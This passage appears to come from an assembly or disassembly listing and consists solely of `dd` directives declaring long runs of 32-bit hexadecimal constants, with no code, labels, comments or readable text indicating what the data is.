		dd 0FFCF2699h, 0A4A5AC80h, 743B1F03h, 379C018Dh, 0ECEE2948h
		dd 340E8283h, 60DFDE3Ah, 5DA08FD2h, 3F7CAD00h, 0A3ECA4B0h
		dd 5AE61855h, 0D8ED2027h, 8E8A5000h, 0F10F2AF2h, 0BCC44915h
		dd 607A0B00h, 4FDAE8C6h, 0A6CA3A00h, 6A48A819h,	655A00D4h
		dd 0AC5791A7h, 3403E5A2h, 7FC558Fh, 66C6A025h, 201907FBh
		dd 0B8445Fh, 905098ADh,	80C3D03Dh, 0AC092D80h, 73FC55Bh
		dd 2CCC5723h, 158A300Ch, 0F2000E0Fh, 6DE292E6h,	7F51F55h
		dd 7F84962Dh, 8DC3BF16h, 9DC0FBAFh, 1700DB2Ch, 0FC226038h
		dd 0CFF0E7B1h, 5F409441h, 0E104B87Bh, 0A2B9261Eh, 700B71C0h
		dd 160277h, 0FBC02383h,	0F0280518h, 0F0CA5Dh, 0A5D01FB3h
		dd 483EE2B2h, 4100EC03h, 98B8B583h, 0DA00ADF7h,	421CA6DFh
		dd 3F03B682h, 36802867h, 4F601588h, 756EE316h, 8DDE6038h
		dd 29138Bh, 4D50193Dh, 0E1AC1ED1h, 75701212h, 67F57C80h
		dd 0EC9473E9h, 0F2480A1Ch, 995501h, 9A20E2DCh, 2000364h
		dd 0D98B8FC2h, 237B2Fh,	5CEF546Fh, 734CDE9Dh, 5BEA260Fh
		dd 0DA9940C0h, 74A362h,	4798151Ch, 0FEB752F3h, 3068FC07h
		dd 2520A11Eh, 3AD440h, 8FD71A96h, 9CF9D9Fh, 0D8012000h
		dd 57BA6226h, 95C50090h, 0F727EEFEh, 25000AE0h,	0E3A96AF9h
		dd 981B6576h, 74BA004Eh, 37985AB4h, 20017B79h, 9245E42Fh
		dd 0DD9C49Bh, 0E8BF30C4h, 0A5CE1EA4h, 0EDAA4040h, 3CC2AE6h
		dd 3B1F0C03h, 0E09A8208h, 13CABAh, 83462C32h, 61E0FE57h
		dd 5550F900h, 5F5B3C47h, 273F0EEBh, 49E00A6Eh, 16B738ADh
		dd 3F57514h, 0C3A8094h,	2CBD90FEh, 0A6E7C5h, 9FAAD287h
		dd 0DA028A92h, 0F3B3C9Ch, 0F7D960FEh, 0E5B10063h, 5FF5261Dh
		dd 27388992h, 99E400A0h, 8A1B1958h, 628707C8h, 77F75259h
		dd 635A3053h, 0AC002CF2h, 4109DA84h, 17E7834h, 6E35254Fh
		dd 0D81A28CBh, 0FB009F8Ch, 0C6641FCAh, 7D58898h, 84D10623h
		dd 335D109Bh, 17587A7Bh, 0F7BB0333h, 0C827FCC5h, 257C34BCh
		dd 4C804155h, 7EF30435h, 0C4EB500h, 1D08B12Fh, 471F0040h
		dd 85775F2Bh, 451F20F8h, 0AF40DC48h, 0BD1EEAFDh, 0F6900ADh
		dd 0D7B98C0Dh, 52482AE8h, 153102D5h, 7A9AF024h,	0BF6D00E8h
		dd 0F9D2CA70h, 0A81DFAF2h, 0DBC10190h, 0B40E356Ah, 3C1D0439h
		dd 408B9DBDh, 0A68DD262h, 0C3E80501h, 20553F13h, 0EE9FE040h
		dd 0E97AF43h, 4731199Eh, 547B1080h, 0AC16F3A1h,	0A10F21EFh
		dd 0F7D68044h, 0CF22DDh, 96F1D295h, 4209B5DBh, 0FA5680A8h
		dd 746ABF3Ch, 7611F60h,	0C1A80A22h, 9DF737C1h, 318EDCDCh
		dd 0A0FA9103h, 20A38225h, 47EB121h, 1524D415h, 54D8607Ch
		dd 0F5864F2h, 0DF91E697h, 0E3568887h, 2FFACB33h, 9CC00D42h
		dd 75005F65h, 61A9D380h, 3CBD0D32h, 0E90078B8h,	1EA507F1h
		dd 2F1C0F08h, 3080801Fh, 7DB1BA03h, 0F36303F0h,	0BDF62D2h
		dd 0DE61B09Ah, 0A885205Ah, 0F24CB900h, 38D2BCA0h, 3353006Ch
		dd 0D3130DCh, 0E100C61Ch, 7701B3A2h, 3A6EA9AAh,	0AE00C27Bh
		dd 0B84F1D85h, 8D0ACA32h, 0A8E30454h, 0D6247800h, 7AAEBCh
		dd 0E91B648Eh, 36BB556Bh, 71BEA001h, 0C0C909CEh, 3BCF91ECh
		dd 0D53BBA5Ch, 0BFA26A80h, 95B7618Eh, 74981101h, 0A38FE550h
		dd 14E7030h, 15C7072Eh,	0D8512A54h, 0B42CC9A9h,	5D005970h
		dd 0D98812BDh, 757DA3h,	30F5E7E2h, 6152C74Dh, 0B2D59F00h
		dd 10878E4Eh, 0CC7BA7h,	21389059h, 0DDA3D0C7h, 0A87C7E00h
		dd 0B010A287h, 2FB71E6Ah, 3FD74022h, 61AB4B42h,	20C47E00h
		dd 10D16755h, 0C0E71ED6h, 6E018FFCh, 286A6820h,	0DDE273E9h
		dd 968A6100h, 65189B59h, 749476C3h, 9950077h, 5DB2257h
		dd 0E50004C9h, 0B4AF8F2Ah, 0BC353Bh, 6ACF8820h,	11A72974h
		dd 0FC035500h, 8E494114h, 25E13BD8h, 59A4FB00h,	0DDAEC07Ah
		dd 0BF46F803h, 5E0589h,	9C25870h, 0F47B3CECh, 0C10014E4h
		dd 40C7C61Bh, 26686C44h, 738D936h, 0A03E6F7Ch, 0D5359E65h
		dd 0C60A6600h, 0CD01D177h, 0ADEE0FC5h, 0C8203B5Bh, 0B81ADA62h
		dd 0DFE77C00h, 0BE13A09Fh, 0AA911E90h, 7D07FE64h, 30856AEDh
		dd 9750FB94h, 0F42CD000h, 6E9A5673h, 0F7860993h, 9004FE8h
		dd 0DEB9E16Fh, 2DF45700h, 0A86A023Bh, 7018009Ah, 0E3070D3Ah
		dd 1D773D7Ch, 96C3CC00h, 1EC2A5B0h, 1161C0Bh, 64DDC0CAh
		dd 0CBB974EBh, 8B2D1B07h, 5450DB86h, 3872902Eh,	0F6800E29h
		dd 7A560D92h, 6200E74Bh, 0F1639BD9h, 0E8BF7D18h, 0F9570706h
		dd 80564CCEh, 789F73EBh, 481E8630h, 0E8707h, 1D11984Dh
		dd 0C985BB34h, 0CA4B4E00h, 3A14D43Ch, 45310C36h, 0D2B90E0Ah
		dd 27193B03h, 0F79F267Eh, 259B3080h, 0E96B1CA5h, 0DD2000FAh
		dd 948FBD4Ch, 807EB73Ah, 0DC19B315h, 1CFBEEC8h,	0C04E9A5Eh
		dd 0F62C9066h, 53F67957h, 0F7F8E5B8h, 0E1AE1103h, 0D8825D8Eh
		dd 29FCB56h, 9189A2A8h,	5343282Fh, 0D9F43100h, 0D729DD48h
		dd 0BD343D30h, 4AD4D000h, 792C593Dh, 0F5225B00h, 566E5D1Fh
		dd 843C0094h, 5317A6BBh, 83502520h, 0A820BC88h,	0C78D005Bh
		dd 79A16E51h, 0F43AE32Ah, 6DA60067h, 0CE21B00Dh, 386C0039h
		dd 0C796A82Dh, 8FF80E10h, 0CCBD5101h, 124892C1h, 756ABCECh
		dd 2F0B0002h, 3CAB3215h, 3E008E76h, 7A546843h, 3FA0E7h
		dd 5F22C5ACh, 9C10CE7Dh, 161EC38h, 6C271E84h, 6BC077EEh
		dd 0A8356206h, 12058A8h, 0E4A78A09h, 0B3030EE1h, 46E0367Eh
		dd 4C65EC8Eh, 94714500h, 0CC8FAB6Eh, 0E8C0C0A9h, 0CF55094Eh
		dd 3DA2D60Fh, 70380130h, 3BCC0FE2h, 6F1D0357h, 6417CFFAh
		dd 0C969AEA8h, 804A813Eh, 0AF05207Ah, 3CA0D2h, 85332B93h
		dd 3E541907h, 3817700h,	2E704CC9h, 0FC1C0540h, 506CA93Ah
		dd 0F42498D4h, 0C7058054h, 0EBB4E8ECh, 4108900h, 1D1BA621h
		dd 5A6B063Ch, 0B0F35299h, 0D58A1E01h, 189DEDAEh, 577041EAh
		dd 0C6F4F021h, 7BA7B05h, 0C5B1E042h, 46B8D00Ch,	9D008FCEh
		dd 97F8E7C0h, 8B9F77h
		dd 0C50344BCh, 79B32E69h, 5549C907h, 0F2ECF504h, 75EC0078h
		dd 2C60CA74h, 1639AF20h, 2EA88089h, 0DC9B7643h,	782B1C24h
		dd 819840DAh, 0A6FF0F79h, 8CB96213h, 55611100h,	132F9AEh
		dd 0A8A78806h, 0EC852B4Eh, 0D00024C0h, 1BF60DF8h, 71D7273Dh
		dd 57750033h, 0FEAA9EEFh, 0B81747CFh, 6005F65Eh, 0AC000628h
		dd 0CA72FB24h, 92C2001Eh, 0BBB19B83h, 2200BA84h, 3B9F4B44h
		dd 150E1Fh, 796FB4CAh, 0FEDB8D12h, 99A82000h, 0DCCBD047h
		dd 5AF871h, 0A58E84BEh,	451A78F0h, 0D2A84D09h, 0DC34001Bh
		dd 582A47h, 4684549Fh, 2FEDDF9h, 14568026h, 0E9888C80h
		dd 7EFC28h, 0BD07FB8h, 0CF19973Fh, 9653F6A0h, 3DB7404h
		dd 389144E6h, 0FC576E0h, 3F1560h, 825BFE53h, 64D0EA6Eh
		dd 3B1404B0h, 7DC076EBh, 0CBF19A0Bh, 208A0E38h,	987087BDh
		dd 0B2B90050h, 0F9B57A5Ah, 53582C74h, 0BBFD0304h, 63CF03h
		dd 0B9DF3148h, 0DB25905Eh, 197E9930h, 26F44797h, 809C81F1h
		dd 0E0E1C917h, 0E9007B86h, 88B209D9h, 242CA11Ah, 1EC1401Fh
		dd 8FD88296h, 0F4802791h, 9F880CCCh, 6900C97Dh,	5B257387h
		dd 7DC5A4h, 5FE9BB58h, 98F0A620h, 202D30CFh, 0E8EF9557h
		dd 599F0065h, 4621227Bh, 0C87CCCB7h, 1767700h, 0A6F34F3h
		dd 5F2E033Ch, 0C339D443h, 95AB3AB0h, 7D722300h,	707B4B57h
		dd 0BE40071Bh, 1F516FDh, 81D1BD22h, 8B442B18h, 12DCEB34h
		dd 95780B61h, 9806BED4h, 98982075h, 0C33830EFh,	0ED667B02h
		dd 0C0CC035Fh, 0D5A6D5h, 7BBD1E9h, 11251E08h, 0C92CB600h
		dd 37A9E430h, 5B1F01A0h, 0E2385C81h, 9799C415h,	0B4BDD200h
		dd 32341CDh, 0FC8C00ABh, 0B3CBBB0h, 0FE002E06h,	68F79751h
		dd 3735F2Fh, 0CE31BECAh, 1100300Ah, 410FD680h, 0FE798AC0h
		dd 3E3917F7h, 5A2C025Ch, 6B1025E8h, 0C1812EE2h,	0C2A91C27h
		dd 239EDFFBh, 6040E2E2h, 0E1007B37h, 0B475DB7Fh, 21FB03h
		dd 0B64DBFD2h, 0DD12B545h, 0D991D002h, 0E805571Ah, 0FA0CC438h
		dd 2CF60026h, 0C9A53F4Fh, 0FA0075D8h, 8F7294DBh, 480DE83Bh
		dd 2E0BC41Ch, 0A090A551h, 2AFC55A6h, 8000FAB0h,	456216C2h
		dd 0C71470h, 0E1E0ED31h, 0A8024F1Bh, 0A4C1D0A0h, 500070D2h
		dd 695B8FC0h, 8B8400EEh, 0BAF3FE43h, 950087C8h,	0B2A64479h
		dd 90C20A23h, 3830058h,	6A82EADDh, 744D9A9Bh, 94F500B8h
		dd 232CB49Fh, 0BCC23AC5h, 80BC93Ah, 10237D05h, 80D4F68h
		dd 2974B519h, 1CA30B7h,	8AB92F24h, 2C8F9C38h, 0FFA32600h
		dd 8E2E5Ah, 5E06F7Fh, 0D2334FDDh, 44DAE417h, 3C7378E8h
		dd 7900B80Ah, 5E108064h, 0BC0356B2h, 6F70784Eh,	505FD836h
		dd 0DD330369h, 9D45EACCh, 2AD49903h, 981964F8h,	72877B55h
		dd 0F0E05Dh, 5BEE096Ch,	7EF471F9h, 9D67E900h, 6529D377h
		dd 37A2391Fh, 0C23CA900h, 0ABD8507Ah, 0AF42191Dh, 3D445100h
		dd 21C6BFh, 9F8A5FEEh, 6526D1A5h, 0AF454A07h, 9140676Ch
		dd 74B0B9Ch, 0AE06BDDFh, 86B61093h, 80079953h, 9C56AAF9h
		dd 0DBF040EFh, 3D828DD6h, 0C8004D0Ch, 617D01E9h, 4003FAA0h
		dd 93F93848h, 0A671E8ADh, 0AB812826h, 61CC06A7h, 609F6CBEh
		dd 0A02A4Dh, 5F811DB9h,	0F594991h, 2DBC3C83h, 85BED680h
		dd 0BD0D7A23h, 9A1C77F4h, 453C48E2h, 0C96E00B0h, 250F2F1Ah
		dd 0F2065312h, 527F7AC3h, 0E9D70019h, 86694696h, 0E0FF4C74h
		dd 0C39896Ch, 0D42B80ABh, 0CE8C91EEh, 0DFF4A8BDh, 35E70088h
		dd 641A1FC9h, 7F32BE98h, 629C1048h, 0AD7CA0E3h,	0F26836B7h
		dd 0A4B20C05h, 70990F55h, 0B9CBFD06h, 68DD32h, 0EFE2B28Bh
		dd 996D2F23h, 16828C0Ch, 0A0D1A0D4h, 30CE8A80h,	0EC4009CAh
		dd 7B001285h, 23ED058Eh, 6C9BD79h, 66B5146Ch, 879705Ch
		dd 0DEE40F1Fh, 0B4576880h, 0A024C1CEh, 97AC94h,	0E7DD3684h
		dd 0E89C8298h, 0F6FA0109h, 0E07C0E21h, 0EBC49A64h, 2E1700CBh
		dd 0FDC263D6h, 98F0F784h, 766D2801h, 0DC6F6B18h, 1D58EAC0h
		dd 40B133B2h, 0E092E79Ah, 6B0A1701h, 2C88E59Fh,	0CC168669h
		dd 25050559h, 0BF8D2694h, 9A61C6C0h, 689F6339h,	987597DFh
		dd 0BA0130E4h, 2A0B708Fh, 0FCF456FBh, 0E907015Fh, 8D1ACE4Bh
		dd 0DAB16FFEh, 9CEB7987h, 88404C0Ah, 0F50F68E6h, 0E7ECD0h
		dd 4A8C7965h, 3EFFDC5h,	46985430h, 7100C3E0h, 7CE2E103h
		dd 30BC9C47h, 0BD186A62h, 29018AD8h, 0BA4D2B55h, 7DD0C4B4h
		dd 6150032h, 2703727Ch,	883990A4h, 98CE1D65h, 5D63BB01h
		dd 2DC4F9Ch, 0C8830006h, 75A5CBDAh, 0E4008AEAh,	6EFFDD96h
		dd 183944D0h, 0A8E8E1A6h, 41006F17h, 1BCAEF71h,	154A03h
		dd 2738D4ECh, 8C788884h, 91A30B09h, 0FCD8F95h, 0FE036131h
		dd 8450F243h, 6CB830Ah,	2CBB454Ch, 0F300C8A6h, 7467A90Fh
		dd 62ADF9h, 2156E141h, 92EA91F5h, 0E7E3C005h, 0A04319E6h
		dd 0A0975EE0h, 0C3142Eh, 6EF07CD7h, 0FDD4DA7h, 0C4006CF4h
		dd 0FD24184Ah, 73084B42h, 3E21F946h, 2A32ECh, 57CA4052h
		dd 713BF2D9h, 4C019C00h, 137F63DDh, 14EB320Fh, 0E1202429h
		dd 264AA1CFh, 0C30F5h, 4466CEEAh, 900492Fh, 69A9D1D4h
		dd 135FF9ADh, 0FEB5E8h,	609E6529h, 4376813Fh, 0DF167D0Eh
		dd 0C0A32F24h, 1FA2AB3Eh, 169E8F7h, 39C3F344h, 0D049B342h
		dd 0A40083D1h, 4D659282h, 0C9E1E64h, 0D6FE10EEh, 2E00ED20h
		dd 0B2168305h, 6796C7h,	24F691C6h, 5BE03E35h, 96039h, 47D03772h
		dd 889602h, 0B3AD261Ch,	0BA249127h, 4900F771h, 86D6583Ch
		dd 11EA0Ah, 1EB7B71h, 571336A0h, 0F5F1C00h, 3DD3B2C0h
		dd 5E9700E0h, 0CB18AD44h, 6B0AF5D9h, 0BC48FF68h, 935DB200h
		dd 74D3E431h, 0D5CF000Bh, 7B348ADCh, 0A230CBF5h, 9A2E78F7h
		dd 2EC3E05Eh, 0BA0160h,	0AE4255C4h, 15008B77h, 12BE6908h
		dd 729F0B75h, 0CCF100B7h, 5133DDE4h, 0F8034516h, 0C9D10449h
		dd 0C8EFF8D2h, 11C31E27h, 0FE41C744h, 967EA03Ch, 0A900508Ah
		dd 0D5DA9FC2h, 0FC09A4h, 0F48EC0E1h, 0D981476Fh, 51007971h
		dd 0C5324A0Eh, 4C687354h, 740252FCh, 703CCA50h,	4761B680h
		dd 2300193Ah, 64D5DE08h, 7DB6E6C2h, 0CB5005Fh, 93A9C5B8h
		dd 74EE33C7h, 0D6534B05h, 1D81DE18h, 96C4FAE1h,	22600043h
		dd 59C4D557h, 0F4EAB831h, 29005170h, 9FF5738Fh,	0ED2C1Ch
		dd 0DB6BB3AAh, 7E99CF9Eh, 80E7CE3Dh, 0E99DFB0Ch, 0EF1A4Dh
		dd 0A8E187BAh, 3E256BAEh, 4E543Eh, 589D08FFh, 0E9BC0h
		dd 62A6E9BDh, 75E0B02Ch, 79DE4900h, 6889F5EFh, 1BED00C3h
		dd 0FF2129FDh, 0BC07E199h, 73343941h, 9BF06C70h, 861B03B4h
		dd 0BAE80A9h, 54B5A380h, 0E8FECF00h, 912E78BDh,	5B7ECA4h
		dd 0E9CB5CC2h, 0D8800B6h, 406BFE70h, 54B7301h, 21829A5Fh
		dd 12300A71h, 0D95C007Dh, 0ED6E461Dh, 0CC00386Ch, 68E13728h
		dd 0F3AC98h, 44867E0Ah,	1B7936A7h, 0A5312200h, 47D4D1CFh
		dd 1788A8ECh, 0AE2B001Ah, 613E02D3h, 0A5FAC08Ah, 3D63DE1Fh
		dd 5B001BE6h, 54EF5729h, 0E47717C1h, 1B3500A2h,	0C223021Eh
		dd 10FB1930h, 3571154h,	5A750530h, 0D4E02DE7h, 8B5CB764h
		dd 15CA0062h, 0A7A96E19h, 0CB10EC7h, 0D240428Ch, 0BC2FE127h
		dd 13E78000h, 5A54336Fh, 3D8A39E4h, 2BBA0E80h, 0A4738370h
		dd 8D871B00h, 0B95AFE9Fh, 5B880392h, 0EAC47F77h, 8BC224C8h
		dd 827AC707h, 0AEE56FB3h, 57C9A800h, 0E4BDD7h, 0B033A03Bh
		dd 3AF21A37h
		dd 1F59E0C0h, 1DF9EDh, 0FAEAC708h, 792C2604h, 0B3452203h
		dd 11A60Fh, 2EBF2948h, 0F1155A98h, 7EE2F801h, 0D3F7A89Ah
		dd 77F54760h, 0ED10119h, 0B3EDA4BEh, 63B1F0F2h,	5B618200h
		dd 69CED345h, 8AB20004h, 98EEB387h, 0A21F654Ch,	0B4DD23D7h
		dd 5100EC1h, 30804297h,	475886D4h, 7D00E491h, 0BB4FFD38h
		dd 58B868DEh, 517691CEh, 0EEE4F86Ah, 0A39E00A5h, 0C4AAAD1Eh
		dd 607B64B7h, 0C0C61D30h, 0F77CF1h, 57DFF438h, 3B390F99h
		dd 8A004198h, 0E8622C97h, 0E089D165h, 8CF900D5h, 15A40C41h
		dd 370E13DDh, 0C44A7F47h, 48801BE3h, 9032AB83h,	9FC53E2Ch
		dd 6C037BBCh, 55C6E3E0h, 1A8FC107h, 39C0A693h, 0CA449BBh
		dd 0A3FB865Eh, 0B00E8021h, 7EB366Ah, 3D51CA4Fh,	0C8FB522Ch
		dd 1112F21h, 4427DAEDh,	70F68E65h, 950013F0h, 1BBECFEAh
		dd 776A40Bh, 287420DEh,	57BA01Ch, 2700FC4Eh, 0D2E90C37h
		dd 3F1B5110h, 3680F5A0h, 0A2823F18h, 0F8A0C65Fh, 0AA00F2CFh
		dd 4AD93401h, 40F5B6A8h, 1C9093B0h, 0ED095300h,	46F1625Dh
		dd 0F2EF0972h, 2483BF56h, 4B03268h, 69FAE353h, 1D952F00h
		dd 8676B1CEh, 193C0035h, 0A4FCBDC6h, 0CF00FADCh, 397C8B2Ch
		dd 0C273EFh, 0CA42351Bh, 241C8187h, 2D1FE803h, 0E0E6B9B8h
		dd 0A1E3B2h, 0F59172E1h, 751A0745h, 11F8600h, 0AD2D623Eh
		dd 3464073Ch, 80148855h, 95BDBA4Eh, 16E7F500h, 0B17AFB69h
		dd 39C04CA4h, 5B538A00h, 2A9E4EF6h, 9C07AC7Fh, 5E7562DCh
		dd 64321EE0h, 0C9B20033h, 3817CA66h, 5C002561h,	59B72927h
		dd 74419Fh, 79BF0A3Dh, 7D3C5F4Ah, 0F700407Dh, 66CBB934h
		dd 362FB1Ch, 6B5DAD5Bh,	16D00AF2h, 85000CA4h, 37F01DB3h
		dd 0AEA6DBh, 47A1F13Eh,	0D34C8A60h, 0F90ECCFAh,	60E943B2h
		dd 28543170h, 0DEC300DAh, 8E5C09B8h, 2A007F41h,	3B7C123Eh
		dd 0C6EB15h, 39897994h,	3C527867h, 1C627A00h, 0C412D083h
		dd 47DA3932h, 73E0E600h, 0D7930ED5h, 0DC874F07h, 516097A9h
		dd 404C84h, 271598FCh, 9CB43034h, 0EA182D60h, 0E841FD89h
		dd 950A19F6h, 0ED5231D6h, 0B8BC98h, 6C378877h, 87F805h
		dd 58C741A1h, 7497E932h, 0CFFE9300h, 191F6CE5h,	65600B87h
		dd 0CA00FCF8h, 2F469509h, 805F973Eh, 0DC5735D4h, 1DDD0F58h
		dd 0CCB49C6Dh, 798889A0h, 0D7A3F80Ah, 29073C35h, 0FE755246h
		dd 0EF0D83h, 8D9996AAh,	23CBB069h, 15523300h, 71CA56AEh
		dd 343D061Dh, 18503E8Bh, 95770217h, 6BF2EE00h, 0E78F6Ah
		dd 90737087h, 30284ED6h, 0D25D39h, 8C0D0A50h, 38DD31Bh
		dd 0BE9E8A14h, 4AE0B1BDh, 79036763h, 0D5F96176h, 7250D852h
		dd 0B27000CBh, 1C974694h, 7E002AFCh, 4B78E361h,	0F6FA84h
		dd 0DC35A3D8h, 0C8B81AF2h, 29D53200h, 0BF2D7918h, 0E175076Fh
		dd 0B03584B7h, 4CF414CFh, 0F3005BEEh, 8C1D2052h, 679DF6h
		dd 0DBA6DA74h, 73851B06h, 52B69E00h, 0EAED3DFCh, 993601DCh
		dd 0D605939Ch, 2C5EC413h, 0B88610C5h, 0D97BA400h, 7241B4F2h
		dd 0A5073B4Fh, 16131486h, 50A82882h, 0D6989551h, 2DE92300h
		dd 0FAEDAD5h, 9E2F01CEh, 0D957054Dh, 89A7F030h,	540B460Ch
		dd 313884h, 0DC5C9136h,	0CF27306Dh, 372FDD3Ah, 0A3102122h
		dd 3E3F491h, 0AB184312h, 781FE00Eh, 4EC1BA29h, 2E9E5AE1h
		dd 1319C8h, 5B14E8FDh, 0E4095660h, 3F989303h, 884B9B88h
		dd 0F62A4Ch, 77877ECDh,	0E3291CA5h, 9400B5E8h, 0C914A8CAh
		dd 614D33h, 347709CCh, 0D176DA1Bh, 0F100A7ECh, 0E195146Eh
		dd 91970Ch, 0B09D4245h,	0F877EEDBh, 724AAA00h, 7D2AC25h
		dd 0BA60358h, 0ADFE2083h, 0ED2D30DFh, 6D7ED454h, 39385Dh
		dd 84A0B2A7h, 0C8140F45h, 0E6429929h, 6563213Ah, 0B5001A1h
		dd 4EEC2417h, 3F21F1EFh, 8805F808h, 7A1EEB71h, 914FA440h
		dd 0B88166h, 6CDD776Eh,	65F9AD2Ah, 590C8B00h, 0D8045FC0h
		dd 774B2EAAh, 6BB00B8h,	0D014E913h, 80E4B53Dh, 0C620A41h
		dd 2A6399h, 0FB178EFDh,	833D94A9h, 3E4E3C00h, 5E1F0A3Ah
		dd 38B5021Ah, 8EB4CE5Ah, 8FBB4C0h, 83136C98h, 0E416B722h
		dd 6803ED00h, 0B32E95Dh, 80C5C053h, 4E8C1880h, 9D3F890Bh
		dd 6B00FDEFh, 846466D4h, 4CC0B6h, 4927F218h, 1CAA0CD2h
		dd 76E55800h, 3BB8A555h, 40A300C4h, 0A0086485h,	0A2E2062Ah
		dd 0F3F43400h, 62385004h, 0DA7CBFh, 0A907F60Ah,	4BCCB7AAh
		dd 6A67A82Ch, 5E4F3C00h, 65F385h, 89D90FFEh, 4710B5DCh
		dd 1B579000h, 95B4B33Bh, 0AEF608h, 2ED71EE9h, 5569631Dh
		dd 0CC91700h, 8E4E488Bh, 53F20057h, 94DAB6BEh, 4D0093D0h
		dd 987513Dh, 0EC69D167h, 3C1C90BFh, 8800A773h, 0BE847E97h
		dd 9F072C20h, 178689C5h, 7F58240h, 0AEFD00FAh, 5438C4EFh
		dd 98CF8B3Ch, 14612050h, 0CCB15h, 435E7AF7h, 94658EB6h
		dd 0E3CCAC0Ch, 389681Eh, 57175B64h, 7DE8812Fh, 0F338528Eh
		dd 25B980B1h, 0AB924335h, 0DD4500C4h, 912B9F16h, 0AD00F6A8h
		dd 8D0B09FFh, 39F56Eh, 0EC5C459Bh, 0E40EBC7Dh, 9D3EFE00h
		dd 7F03061h, 4F6C0023h,	0CF8EDEA1h, 6E032FB6h, 3EE1292Dh
		dd 0BE30C75Fh, 50D3E678h, 0B0983Ah, 0C183A5E5h,	930B0507h
		dd 8EE76000h, 55A28D51h, 9E370128h, 1A3BA4CDh, 0F4FEEC6Ah
		dd 0C4F86D73h, 7F3E3379h, 31B712E2h, 0F886AF00h, 78E2213h
		dd 5201AD27h, 0DCD99056h, 0A500B14Eh, 0B85D7A0Bh, 79FE1904h
		dd 0E4F60018h, 15C0CF75h, 0F116FD93h, 0F18072C7h, 61CB48h
		dd 3B96A8F3h, 0A08AAFF8h, 176CB300h, 6FC0F2A7h,	8A5F4C55h
		dd 0F6D0380Fh, 9A5B8FC0h, 0E304083Dh, 5E7276F8h, 0EF59C493h
		dd 9E003A7h, 1C10B7h, 38FBE885h, 1BA1909Fh, 0F5244F00h
		dd 259CF466h, 91100955h, 0C10034Eh, 9B00DD56h, 4A981CC4h
		dd 3BEB063Ah, 31816E90h, 0AEB3F92Eh, 8C59F457h,	76D4E524h
		dd 0B2FBC500h, 94B3C55h, 0B4DC03D1h, 0A2153C01h, 0D1AD035h
		dd 64B92A01h, 98D0EB66h, 0FA5C3C8h, 48DAE1E9h, 0E777BC00h
		dd 231208B8h, 4800B0F5h, 0E451ECD0h, 12CA004Bh,	3F02DFC5h
		dd 9F07D527h, 0FE32461Bh, 0BD63A240h, 0CF430093h, 7345BF6Bh
		dd 0EB1E7DC4h, 1C80474Dh, 8E0F0210h, 0A6B603D4h, 0B0892F1Fh
		dd 35EACBD0h, 38E84B00h, 5B48AF7Ch, 77800144h, 0AB13B0BEh
		dd 0A6D6A8C9h, 8F7AB10Fh, 75E5601Fh, 9F514586h,	0F013A58h
		dd 0CCA7EEDAh, 0CEC41B0Ah, 1A9B0081h, 0FF7A23F3h, 7004F10h
		dd 0F8B4F6C3h, 3B5494B0h, 0C0809358h, 605AD216h, 0B500D1C8h
		dd 0D0979C17h, 0F1967A0h, 9F04E907h, 23CDF2C3h,	0D22DCBA8h
		dd 481C2AF0h, 1BC063B2h, 0FFEF374Ah, 27210239h,	5AAE3A61h
		dd 2399C440h, 0C05C401h, 891F9F4Ah, 0E4E0420h, 6121459h
		dd 9EA4700h, 3030E9BFh,	0B4E6211Dh, 224500F2h, 0EB7476B5h
		dd 0C3747E59h, 1C5B8540h, 0C0D6C7F6h, 0FEC6DC30h, 0D01D49E0h
		dd 0DF4043ACh, 271C0791h, 0F2C1142Eh, 0A600E484h, 0F01FE7E6h
		dd 2600B60Dh, 8BA0F936h, 3187175h, 2238FA58h, 0C0F45FBAh
		dd 0DDD00D31h, 739B9909h, 1BA80185h, 5024874Ch,	1E50012h
		dd 24F8F2C4h, 2D02A486h, 5F7CA278h, 0EA5C41CEh,	78343460h
		dd 0CD60743h, 0E06F6A76h, 0EB2DB103h, 0DD049903h, 0D8FD5D3Bh
		dd 7BE31ED7h, 0BF68C150h, 24A462A5h, 8D07AA94h,	885D077Bh
		dd 0B25003Eh, 7657C11Ch, 0FBEF0022h, 929B9A77h,	0CE006C9Eh
		dd 7458470Eh, 0C74EB7B6h
		dd 90FC9D30h, 7248CA1Fh, 48694Ch, 0F5599BAEh, 9DCEC4Eh
		dd 3179C84Ah, 0EE0DAC00h, 610EEDFFh, 0FD438DF4h, 72B0239Bh
		dd 4C410348h, 0DEF348C3h, 38E301Fh, 14BF7947h, 7E9EB080h
		dd 0F437001Bh, 4364F265h, 34001F13h, 0FC24B92Bh, 3147548h
		dd 5CFA6B67h, 0E0806E3Ch, 0A03CCF4Eh, 6D68E042h, 3D9C8ADh
		dd 994D56E7h, 46A02CC2h, 90A00F96h, 747429ECh, 4F74F00h
		dd 8C3EB716h, 64756Dh, 2A91612Fh, 1C8BFED9h, 3DF7C0A8h
		dd 84DCC609h, 74108032h, 0A74089h, 0E2A8B80Bh, 3D3BEED5h
		dd 4EC65E00h, 5458A67Fh, 386D00EBh, 5CF04A2Ch, 8A5841C7h
		dd 44350048h, 4981D846h, 1F7C7354h, 415A71AAh, 0B3FEDE55h
		dd 115FE45Ch, 3D22AE00h, 0F4680E4Dh, 0B16D00BBh, 0DB67CE57h
		dd 3300157Eh, 0E695852Dh, 3E4A7FC6h, 8D8025D4h,	0E3C3E96Dh
		dd 0B700BAB9h, 220A398Ch, 0C323Bh, 9E10A11Dh, 46B00389h
		dd 0EC824Dh, 7C06650Bh,	0C044C45Eh, 26C756E8h, 661233B6h
		dd 6400AC02h, 80D219Eh,	0D0E207CDh, 7048AAA8h, 66190395h
		dd 261F2000h, 0E57CD1C6h, 5487003Bh, 5F429C6Dh,	0F60B02FAh
		dd 8060DF92h, 0E2D6215Ch, 0B028EA4Ah, 4C7F0Ch, 996686D7h
		dd 0F5DC093Ch, 0A500D490h, 0BCFFE719h, 2AE2A87h, 0BE0374B9h
		dd 0E840845Eh, 4E00ED3Ah, 2BD694ACh, 7E5B470Dh,	88BA5CABh
		dd 0C681C10Fh, 0B1F70B87h, 0CFACB9C5h, 0BC2357C8h, 0E6917F00h
		dd 4D9A6938h, 18FB06CDh, 30860C19h, 0A492C000h,	7C154B87h
		dd 850A3028h, 0D78AD918h, 9A0CD509h, 50A98Fh, 11757A03h
		dd 280E3FF7h, 0D4900076h, 4CB408EAh, 0F609FC7Fh, 3A44838h
		dd 0B05EDA60h, 0D8AA92B1h, 0F0298C10h, 0D99D1B00h, 637D4D37h
		dd 42080045h, 0AE496A35h, 29059E28h, 0FF272A97h, 0A8D38CD0h
		dd 8D4C24ABh, 792180F8h, 0F515AFC8h, 10F32601h,	0C3F408D4h
